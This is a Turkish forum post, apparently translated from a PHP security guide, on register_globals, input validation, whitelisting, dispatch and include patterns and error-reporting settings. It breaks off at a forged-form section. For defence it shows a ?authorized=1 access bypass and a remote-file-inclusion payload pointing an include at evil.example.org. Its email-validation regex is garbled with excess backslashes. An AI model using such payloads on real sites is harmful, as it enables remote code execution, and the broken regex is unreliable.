PHP Güvenliği hakkında...
Genel Bakış
Güvenlik nedir? 
Güvenlik bir ölçümdür, özellik değildir. Ne yazıkki bazı yazılım projesinde geliştiriciler güvenliği sağlanması gerekenler listesine koyuyor. ’Güvenli mi?’ sorusu en az ’Sıcak mı?’ sorusu kadar görecelidir. Güvenlik ihtiyacı proje maliyeti sınırlarıyla dengelenmelidir. Yazılım uygulamalarının çoğu için yeterli seviyede güvenliği sağlamak kolay ve düşük maliyetlidir. Eğer güvenlik ihtiyacı çok önemli ise ve işlenen veriler çok değerli ise, güvenlik seviyesi artırılır. Bu da güvenlik maliyetinin artmasına sebep olur. Bu maliyet dengesini ayarlarken tabiki projenin bütçesi dikkate alınmalıdır. Güvenlik ihtiyacı uygulamanın kullanışlılığı ile dengede tutulmalır. Güvenliği sağlamak için koyulan kuralların uygulamanın kullanım kolaylığını azaltığı kabul edilen bir gerçektir. Şifreler, oturum sonlandırma ve giriş kontrolleri normal kullanıcılar (yasal kullanıcılar, uygulamayı kurallar içerisinde kullananlar) tarafından can sıkıcı engeller olarak görülürler.Bu basamaklar çoğu zaman gereklidir. Her uygulamaya uygun tek bir çözüm yoktur ve çözüm geliştirirken normal kullanıcıların da düşünülmesi gerekir. Güvenlik proje tasarımının bir parçası olmalıdır. Proje güvenlik ihtiyaçları düşünülmeden tasarlanırsa ilerleyen safhalarda güvenlik sorunları içinden çıkılamaz hale gelir. Çok iyi programlama yapılsa bile kötü tasarlanmış projeler başarıya ulaşamıyacaktır. Temel Kurallar
Uygulamanın kural dışı kullanılabilme durumu hep düşünülmelidir. Güvenli bir tasarım çözümün bir parçasıdır. Programlama sırasında uygulamanın kural dışı kullanılabilme durumu düşünülmelidir. Genellikle yapılan uygulamanın istenilen foksiyonları yapması ön planda tutulur. Bir uygulamanın gerekli işlemleri yapıyor olması güvenlik açısından bir artı değildir. Güvenlik konusunda yeterli bilgi sahibi olunmalıdır.
[FONT=verdana, arial, helvetica, sans-serif][SIZE=2]Uygulamayı tasarlayanlar ve programcıların güvenlik konusunda bilgi sahibi olmaları gereklidir. Basılı olarak yada internette bir çok kaynak bulunmaktadır. Aşağıdaki adreste bazı kaynakların listesine ulaşabilirsiniz.
DIŞARDAN ALINAN BÜTÜN VERİLERİ KONTROL EDİN. Veri kontrolü web uygulama güvenliğinin temel taşıdır. Tanımlanan değişkenlerinize başlangıç değerleri verilir ve dışardan alınan bütün veriler kontrol edilirse güvenliğe giden yolda çok mesafe katetmiş olunur. Beyaz Liste Yöntemi (whitelist approach) karaliste yönteminden (blacklist approach) daha iyidir. Beyaz Liste Yöntemi dışardan gelen bütün verilere aksi ispatlanmadığı sürece zararlı veri muamelesi yapmak ve kontrol etmektir. Kara Liste Yöntemi ise tam tersidir yani aksi ispat edilmedikçe dışardan gelen bütün veriler zararsız kabul edilir. Register Globals
register_globals belirteci (directive) PHP 4.2.0 ve üstü sürümlerde ön tanımlı olarak kapalı halde (değeri OFF) gelir. Bu belirtecin açık (değeri ON)olması doğrudan güvenlik açığı oluşturmasa da ciddi bir tehlike oluşturduğundan değerine dikkat edilmesi gereklidir. Uygulamalar bu belirtecin kapalı olması durumuna göre geliştirilmelidir. Bu belirtecin açık olması neden risklidir?. Bu konuda her seviyeye uygun örnekler bulmak zordur. PHP resmi sitesinde bu konu ile ilgili güzel bir örnek vardır. if (yetkili_kulanici())
{
$authorized= true;
}
if ($authorized)
{
include ’/cok/onemli/bilgi.php’;
}
?> register_globals’ın açık olması durumunda bu sayfa adres satırına ?authorized=1 eklenerek çağırıldığında çok önemli bilgiye ulaşılmış olur. Bu tamamen programlama hatasıdır, register_globals belirtecinin oluşturabileceği tehlikeyi göstermek için basit bir örnektir. register_globals kapalı olduğunda programcı tarafından oluşturulan değişkenler dışarıdan müdahele ile (?authorized=1 gibi) değiştirilemez. Açık oması durumunda ise değişkenler tanımlanırken bir ilk değer verilmelidir. register_globals’ın çıkarabileceği bir diğer tehlikeli duruma include fonksiyonunun kullanımı örnektir: include "$path/script.php";
?>
register_globals açık olduğunda bu sayfayı adres satırına ?path=http%3A%2F%2Fevil.example.org%2F%3F eklenerek çağırıldığında aşağıdaki gibi bir sonuç çıkar. include ’http://evil.example.org/?/script.php’;
?>
Eğer allow_url_fopen açık ise, ki php.ini de öntanımlı olarak açıktır, bu kod http://evil.example.org/ deki script.php dosyasını sanki aynı makinada bulunan bir dosya gibi çalıştırır. Bu birçok açık kaynaklı uygulamalarda ortaya çıkmış ciddi bir tehlikedir. Tanımlandığında $path değişkenine bir ilk değer verilerek bu engellenebilir. register_globals’ı kapatarak ta bu engellenebilir. register_globals’ın kapalı olması bu ve bunun gibi programcı hatalarından kaynaklanan açıkların kapatılmasını sağlar. Formdan gelen ve dışardan gelen verilerin işleneceği durumlarda programcıların bu durumu (register_globals) dikkate almaları gerekir. $_POST ve $_GET dizilerinin kullanılması bir önlemdir. Fakat tehlikeyi tamamen engellemez. Yukarıda da belirtiğimiz gibi değişkenlere başlanğıç değeri verilmesi çok önemlidir. Bu bölümde anlatılanlar register_globals’in bir güvenlik açığı olduğunu göstermez ama kapalı olmasının bir bazı tehlikeleri önlediği kabul edilen bir gerçektir. Ayrıca değerin kapalı olması programcıların kullandıkları değişkenlerin kaynaklarını bilmeleri ve düşünmeleri,ki bu iyi programcının özelliklerindendir, konusunda zorladığı için de faydalıdır. Veri Kontrolü
Veri kontrolü web uygulama güvenliğinin temel taşıdır ve programlama dilinden ve geliştirme ortamından bağımsızdır. Uygulamaya giren ve uygulamadan çıkan verilerin geçerliliğinin kontrolü anlamına gelir. İyi bir yazılım projesi tasarımı programıcıları aşağıdaki işlemleri yapmaya teşfik eder : Kontrolsüz veri girişi olmamalıdır, Geçersiz (kural dışı, hatalı, yasak) veri kontrolü geçmemelidir, ve Bütün verilerin kaynkları mutlaka bilinmelidir. Veri kontrolü ile ilgili birçok yöntem vardır. Bu yöntemler arasında iki tanesi çok kullanılmaktadır ve bu yönetm,emler yeterli seviyede güvenlik sağlarlar. Yönlendirme Yöntemi (The Dispatch Method)
Bu yöntemde web yoluyla erişilebilen bir tane PHP betiği vardır. Diğer bütün PHP betikleri bu betik tarafından gerektiğinde include veya require fonksiyonları ile çağrılır. Bu yöntemde hangi betiğin çağırılacağı GET değişkeni ile belirtilir. Bu değişken basitçe çağırılacak betiğin ismi olabilir. Örneğin : http://example.org/dispatch.php?task=print_form dispatch.php dosyası web aracılığıyla ulaşılabilecek tek dosyadır. Bu yöntem programcıya iki önemli fayda sağlar : dispatch.php ’de bazı temel güvenlik kontrollerini yaparak bütün uygulamada geçerli olmasını sağlanır. Betiğe özel veri kontrolü gerektğinde ilgili betikte yapılabilir.. Daha fazla açıklama için dispatch.php : /* Genel güvenlik kontrolleri */
switch ($_GET[’task’])
{
case ’print_form’:
include ’/inc/presentation/form.inc’;
break;
case ’process_form’:
$form_valid = false;
include ’/inc/logic/process.inc’;
if ($form_valid)
{
include ’/inc/presentation/end.inc’;
}
else
{
include ’/inc/presentation/form.inc’;
}
break;
default:
include ’/inc/presentation/index.inc’;
break;
}
?> dispatch.php’in webten direk ulaşılabilen tek betik olduğu için ve diğer betikleri çağırdığı için genel kontrolleri dispatch.php’te yapılmasının doğru olacağı yukarıda belirtilmiştir. Ayrıca programcıya belli işlemle ilgili özel kontrolleri ilgili betikte yapılacağı da eklenmiştir. Örnekte end.inc ancak $form_valid değişkenin değerinin true olması durumunda çalıştırılır. $form_valid değişkenine başlangıçta process.inc çağırılmadan önce false değeri verilir. process.inc çalıştığında form doldurulmuşsa ve gerekli şartlar sağlanıyorsa (yani formun geçerliliği onaylanıyorsa) $form_valid değeri true yapılır ve end.inc dosyası çağırılır. Eğer form doldurulmamışsa yada bilgilerde bir yanlışlık veya eksiklik varsa process.inc $form_valid değerine dokunmaz ve form.inc çağrılır.
Not : Eğer webten direk ulaşılacak dosyaya dispatch.php yerine index.php adı verilirse betikleri çağırmak için URL’yi kullanılabilir. http://example.org/?task=print_form gibi. Apache ForceType belirteciyle yapılandırarak URL’leri http://example.org/app/print-form gibi algılaması sağlanabilir.
Çağırma Yöntemi (The Include Method)
Bu yöntemde genel güvenlik kontrollerinden sorumlu bir betik vardır ve diğer bütün betiklerin başında bu betik çağrılır. Bu betiğe uygun bir örnek security.inc : switch ($_POST[’form’])
{
case ’login’:
$allowed = array();
$allowed[] = ’form’;
$allowed[] = ’input1’;
$allowed[] = ’input2’;
$sent = array_keys($_POST);
if ($allowed == $sent)
{
include ’/inc/logic/process.inc’;
}
break;
}
?> Bu örnekte uygulamadaki bütün formlarda form, input1, input2 isimleri ile form elemanları olmalıdır. Bu kurala uygun bir form aşağıdaki gibi olabilir : Input 1:
Input 2:
$allowed dizisi formlarda kullanıcak eleman isimlerinin kontrolü için kullanılıyor ve her for için ayrı olmalıdır. Bu kontrol ile formun düzgün olup olmadığı kontrol edilir ve process.inc dosyasında da veri kontrolu tamamlanır.
Not : Her dosyanın başında security.inc dosyasının çağırılmasını sağlamanın bir yolu da php.ini’de auto_prepend_file belirtecidir.
Veri Kontrolü
Beyaz liste yönteminin daha doğru bir yaklaşım olduğu belirtilmişti. Her duruma uygun örnekler vermek zor olsa da temel olarak veri kontrolü hakkında fikir verecek basit örnekler aşağıdadır. E-posta adresinin düzgün yazılıp yazılmadığının kontrolü: $clean = array();
$email_pattern = ’/^[^@\\\\\\\\\\\\\\\\\\s<&>]+@([-a-z0-9]+\\\\\\\\\\\\\\\\\\.)+[a-z]{2,}$/i’;
if (preg_match($email_pattern, $_POST[’email’]))
{
$clean[’email’] = $_POST[’email’];
}
?> $_POST[’color’] değişkenin değerinin red, green, yada blue olduğunun kontrolü:
$clean = array();
switch ($_POST[’color’])
{
case ’red’:
case ’green’:
case ’blue’:
$clean[’color’] = $_POST[’color’];
break;
}
?>
$_POST[’num’] değerinin sayı olup olmadığının kontrolü:
$clean = array();
if ($_POST[’num’] == strval(intval($_POST[’num’])))
{
$clean[’num’] = $_POST[’num’];
}
?>
$_POST[’num’] değerinin ondalıklı sayı (float) olup olmadığı:
$clean = array();
if ($_POST[’num’] == strval(floatval($_POST[’num’])))
{
$clean[’num’] = $_POST[’num’];
}
?> İsimlendirme
Yukarıdaki örnekler de $clean dizisi kullanılmıştır. Bu veri kontrolü için açıklayıcı bir örnektir. $_POST ve $_GET dizilerindeki verileri kontrol edilip eğer uygunsa $clean dizisine atılır.$_POST ve $_GET dizileri her zaman şüpheli olarak kabul edilmelidir. $clean dizisini kullandıldığında beyaz liste yöntemine göre bu diziye girmeyen bütün veriler şüphelidir. Bu yaklaşım programın güvenlik seviyesini artırır. Kontrolden geçen bütün veriler $clean dizisine atıldığı için karşılaşabilecek en kötü durum bürün verilerin zararlı olması durumundaki boş $clean dizisidir. Zamanlama
Bir PHP betiği çalışmaya başlatıldığında HTTP iletişimi bitmiş demektir. Yani İstemci tarafından artık hiçbir veri gönderilemez (register_globals açık olsa bile). Bu sebepten dolayı tanımlanan bitin değişkenlere başlangıç değeri verilmesi çok önemlidir. Hata Raporlama
PHP5’ten önceki sürümlerde hata raporlama işlemini bazı belirteçleri ayarlanarak kolayca yapılabilir. Bu süürmlerde hata raporlama programlamadan çok PHP yorumlayıcısı tarafından yapılır. Bunun için kullanılacak belirteçler : error_reporting Bu belirteç hata raporlama seviyesinin belirlenmesini sağlar. Değerinin E_ALL olması tavsiye edilir. display_errors Bu belirteç hataların ekrana yazılıp yazılmayacağını belirtilmesine yarar. Geliştirme aşamasında değeri On olursa hatalar anlaşılır. Uygulama kullanılmaya başlandığında değerinin Off yapılması daha uygundur. Böylece hatalar kullanıcılardan ve hataların faydalı olacağı art niyetli kişilerden gizlenmiş olur. log_errors Bu belirteç hataların belirli bir log dosyasına yazılıp yazılmayacağının belirtilmesini sağlar. Değerinin On olması durumunda çalışmada yavaşlamaya sebeb olabilir. Geliştirme aşamasında kullanılması tavsiye edilir. error_log Hata raporlarının yazılacağı dosyanın tam yoludur. Burada dosyayı belirtirken dosyaya web sunucusunun yazma yetkisi olup olmadığına dikkat edilmelidir. error_reporting belirtecinin değerinin E_ALL olması programcı tarafından kullanılan değişkenlere başlangıç değeri verilmesini zorlayacak ve başlangıç değeri verilmemiş bir değişken kullanıldığında uyarı verecektir.
Not : Bu belirteçlerin değeri ini_set() fonksiyonu kullanılarak değiştirilebilir. Bu fonksiyonu php.ini dosyasında değişiklik yapılamadığı durumlarda kullanılabilir. Daha ayrıntılı bilgi için : http://www.php.net/manual/en/ref.errorfunc.php PHP5 ile birlikte PHP’ye Kural Dışılık İşleme (Exception Handling) özelliği eklenmiştir. http://www.php.net/manual/language.exceptions.php Form İşleme
Sahte (Yalancı) Form Kayıtları
Veri kontrolünün önemini anlamak için aşağıdaki aşağıdaki örneği inceleyelim. (adreslerin hepsi temsilidir). http://example.org/form.html: Kaynak : http://indirtr.tk/forum/viewtopic.php?f=273&t=81&sid=0998c189a5af3f044141fe748efbcf3a